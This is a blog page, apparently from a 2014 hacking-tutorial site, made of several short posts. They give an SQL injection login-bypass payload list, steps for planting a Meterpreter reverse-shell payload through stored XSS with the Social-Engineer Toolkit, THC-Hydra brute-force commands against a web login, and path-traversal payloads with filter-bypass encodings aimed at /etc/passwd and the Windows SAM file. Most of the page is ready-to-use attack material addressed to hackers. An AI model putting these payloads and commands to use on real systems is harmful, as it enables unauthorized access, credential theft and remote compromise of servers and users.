Saturday, March 1, 2014

Sql Injection Authentication bypass cheat sheet

 Sql Injection Authentication bypass cheat sheet


This list can be used by Hackers when testing for SQL injection authentication bypass.A Hacker can use it manually or through burp in order to automate the process.If you have any other suggestions please feel free to leave a comment in order to improve and expand the list.


or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

How to exploit stored xss using S.E.T?

  How to exploit stored xss using S.E.T?
 
 
Stored XSS is the most dangerous type of cross site scripting due to the fact that the user can be exploited just by visiting the web page where the vulnerability occurs.Also if that user happens to be the administrator of the website then this can lead to compromise the web application which is one of the reasons that the risk is higher than a reflected XSS.

(1)First I recommended you to view “How to fiind xss in website?” here.

(2)Open terminal & type following code in terminal.
sudo bash
cd /opt/set
./set
(3)Now select option 1 which is Social-Engineering Attacks.
(4)Select option 2 which is website attack vector.
(5)Select option 3which is Java Applet Attack Method.
(6)Select option 1 web -templetes.
(7)Select option 1 java Required.
(8)Now we will select payload & encoder. So we select simple Windows Reverse_TCP Meterpreter & shikata_ga_nai encoding.
(9)Put listener port:443 . Now metasploit will open.
(10)Now we can go back to the web application and we can try to insert the malicious JavaScript code in the comment field that we already know from before that is vulnerable to XSS.

Web application and audit framework

  Web application and audit framework




What is BRUTE-FORCE attack ?

A password attack that does not attempt to decrypt any information, but continue to try different passwords. For example, a brute-force attack may have a dictionary of all words or a listing of commonly used passwords. To gain access to an account using a brute-force attack, a program tries all available words it has to gain access to the account. Another type of brute-force attack is a program that runs through all letters or letters and numbers until it gets a match.

How to install THC-hydra ?

Open your terminal & type following command

(1)sudo bash

(2)wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz

(3)After downloading ,we are going to extract it

tar -xvf hydra-6.3-src.tar.gz

(4)tar -xvf hydra-6.3-src.tar.gz

(5)./configure && make && install

(6)make install


How to use THC-hydra?

If you are attacking FTP service then first make sure to run an nmap scan for any open FTP ports (by default it should be 21)

Now in order to brute-force a specific login form you need to define the user-name (if you don't know it include a file containing some), the word-lists directory, the service attacking and form method and the page itself.

Type following command in terminal

./hydra -l admin -P /root/Words.txt site.com http-post-form "/login.php&username=^USER^&password=^PASS^"

The -l switch defines the username and the capital -L - a list of usernames for the brute-force attack (if you don't know the login).

The -p switch defines the password and the capital -P - the directory for the wordlists ( the -P is used almost always)

If we're attacking a web form over http and the method is post then we use "http-post-form" if the service is FTP simply use "ftp".

Another thing you should be aware of is that the variables username and password are not always the same. They different depending on the code.

They could be usr,pwd etc - it's not necessarily for them to be as in most cases "username" & "password". Just view the source and make sure what their names are.

Now there are a lot more options of Hydra. I'll explain some of them below no matter that they are included in the MAN page of hydra

-vV - The verbose mode. This mode shows you every login attempt hydra tries.

-s - We specify the port on which we're running our attack.

-x - For brute-force parameters generation. We define our charset and minimum & maximum length of it.

-R - Restores a previously aborted session of an attack.

-e ns - Checks for blank or no password fields.

Path traversal vulnerabilities Tutorial

  Path traversal vulnerabilities Tutorial


Path traversal vulnerabilities arise when user-controllable data is used by the application to access files and directories on the application server or other back-end file system in an unsafe way. By submitting crafted input, an attacker Exploiting Path Traversal may be able to cause arbitrary content to be read from, or written to, anywhere on the file system being accessed. This often enables an attacker to read sensitive information from the server, or overwrite sensitive files, leading ultimately to arbitrary command execution on the server.

Consider the following example, in which an application uses a dynamic page to return static images to the client. The name of the requested image is specified in a query string parameter:

https://wahh-app.com/scripts/GetImage.aspx?file=diagram1.jpg

When the server processes this request, it performs the following steps:

1. Extracts the value of the file parameter from the query string.

2. Appends this value to the prefix C:\wahh-app\images\.

3. Opens the file with this name.

4. Reads the file’s contents and returns it to the client.

The vulnerability arises because an attacker can place path traversal

sequences into the file name in order to backtrack up from the image directory specified in step 2 and so access files from anywhere on the server. The path traversal sequence is known as “dot-dot-slash,” and a typical attack would look like this:

https://wahh-app.com/scripts/GetImage.aspx?file=..\..\windows\repair\sam

When the application appends the value of the file parameter to the name of the images directory, it obtains the following path:

C:\wahh-app\images\..\..\winnt\repair\sam

The two traversal sequences effectively step back up from the images directory to the root of the C: drive, and so the preceding path is equivalent to this: C:\winnt\repair\sam

Hence, instead of returning an image file, the server actually returns the repair copy of the Windows SAM file. This file may be analyzed by the attacker to obtain usernames and passwords for the server operating system.

In this simple example, the application implements no defenses to prevent path traversal attacks. However, because these attacks have been widely known about for some time, it is common to encounter applications that implement various defenses against them, often based on input validation filters. As you will see, these filters are often poorly designed and can be bypassed by a skilled attacker.

How to Bypassing Filter to Traversal Attacks ?

Bypassing Filter to Traversal Attacks

If your initial attempts to perform a traversal attack, as described previously, are unsuccessful, this does not mean that the application is not vulnerable. Many application developers are aware of path traversal vulnerabilities and implement various kinds of input validation checks in an attempt to prevent them. However, those defenses are often flawed and can be bypassed by a skilled attacker.

The first type of input filter commonly encountered involves checking

whether the filename parameter contains any path traversal sequences, and if so, either rejects the request or attempts to sanitize the input to remove the sequences. This type of filter is often vulnerable to various attacks that use alternative encodings and other tricks to defeat the filter. These attacks all exploit the type of canonicalization problems faced by input validation mechanisms

Always try path traversal sequences using both forward slashes and

backslashes. Many input filters check for only one of these, when the file system may support both.

Try simple URL-encoded representations of traversal sequences, using

the following encodings. Be sure to encode every single slash and dot

within your input:

dot                            %2e

forward slash           %2f

backslash                  %5c 

Try using 16-bit Unicode–encoding:


dot                           %u002e

forward slash          %u2215

backslash                %u2216

Try double URL–encoding:


dot                        %252e

forward slash         %252f

backslash                %255c

Try overlong UTF-8 Unicode–encoding:


dot                        %c0%2e       %e0%40%ae    %c0ae etc.

forward slash        %c0%af       %e0%80%af      %c0%2f etc.

backslash              %c0%5c       %c0%80%5c      etc.

You can use the illegal Unicode payload type within Burp Intruder to generate a huge number of alternate representations of any given character, and submit this at the relevant place within your target parameter. These are representations that strictly violate the rules for Unicode representation but are nevertheless accepted by many implementations of Unicode decoders, particularly on the Windows platform.

If the application is attempting to sanitize user input by removing traversal sequences, and does not apply this filter recursively, then it may be possible to bypass the filter by placing one sequence within another. For example:

....//

....\/

..../\

....\\

The second type of input filter commonly encountered in defenses against path traversal attacks involves verifying whether the user-supplied filename contains a suffix (i.e., file type) or prefix (i.e., starting directory) that the application is expecting.

Some applications check whether the user-supplied file name ends in a

particular file type or set of file types, and reject attempts to access anything else. Sometimes this check can be subverted by placing a URL encoded null byte at the end of your requested filename, followed by a file type that the application accepts.

For example:


../../../../../boot.ini.jpg

The reason this attack sometimes succeeds is that the file type check

is implemented using an API in a managed execution environment

in which strings are permitted to contain null characters (such as

String.endsWith() in Java). However, when the file is actually retrieved, the application ultimately uses an API in an unmanaged environment in which strings are null-terminated and so your file name is effectively truncated to your desired value.

A different attack against file type filtering is to use a URL-encoded newline character. Some methods of file retrieval (usually on Unix-based platforms) may effectively truncate your file name when a newline is encountered:

../../../../../etc/passwd%0a.jpg

Some applications attempt to control the file type being accessed by

appending their own file type suffix to the filename supplied by the user. In this situation, either of the preceding exploits may be effective, for the same reasons.

Some applications check whether the user-supplied file name starts with a particular subdirectory of the start directory, or even a specific file name. This check can of course be trivially bypassed as follows:

wahh-app/images/../../../../../../../etc/passwd

If none of the preceding attacks against input filters are successful individually, it may be that the application is implementing multiple types of filters, and so you need to combine several of these attacks simultaneously (both against traversal sequence filters and file type or directory filters). If possible, the best approach here is to try to break the problem down into separate stages. For example, if the request for

diagram1.jpg

is successful, but the request for

foo/../diagram1.jpg

fails, then try all of the possible traversal sequence bypasses until a variation on the second request is successful. If these successful traversal sequence bypasses don’t enable you to access /etc/passwd, probe whether any file type filtering is implemented and can be bypassed, by requesting

diagram1.jpg.jpg

Working entirely within the start directory defined by the application, try to probe to understand all of the filters being implemented, and see whether each can be bypassed individually with the techniques described.

Of course, if you have white box access to the application, then your task is much easier, because you can systematically work through different types of input and verify conclusively what filename (if any) is actually reaching the file system.

 

How to Solve problem of wpscan in Backtrack 5 r3?

 

Wpscan is wordpress security scanner, which is pre-installed in backtrack 5 , but it`s outdated version, so when you tried to update it, you may  have face some problems. Here is solution which work for me.
cd /pentest/web
rm -rf wpscan
git clone https://github.com/wpscanteam/wpscan.git
cd wpscan
gem install bundler && bundle install --without test development
apt-get install libxml2 libxml2-dev libxslt1-dev
gem install  bundler
bundle install
ruby ./wpscan.rb

 

How to exploit Directory traversal vulnerability?

 How to exploit Directory traversal vulnerability?

Backtrack has lots of tools for web-application testing. Directory traversal is one of the critical vulnerability in web-application. Previously i post about what is directory traversal & how to bypass its filter , but that process is manual, it can consume lots of time.But in bactrack automatic tools are available for this test which is DOTDOTPWN.

If you are on other distro , then you can download it form here.

It's a very flexible intelligent fuzzer to discover traversal 
directory vulnerabilities in software such as HTTP/FTP/TFTP 
servers, Web platforms such as CMSs, ERPs, Blogs, etc. 

Also, it has a protocol-independent module to send the desired 
payload to the host and port specified. On the other hand, it 
also could be used in a scripting way using the STDOUT module.

It's written in perl programming language and can be run 
either under *NIX or Windows platforms. It's the first Mexican 
tool included in BackTrack Linux (BT4 R2).

Fuzzing modules supported in this version: 
- HTTP
- HTTP URL
- FTP
- TFTP
- Payload (Protocol independent)
- STDOUT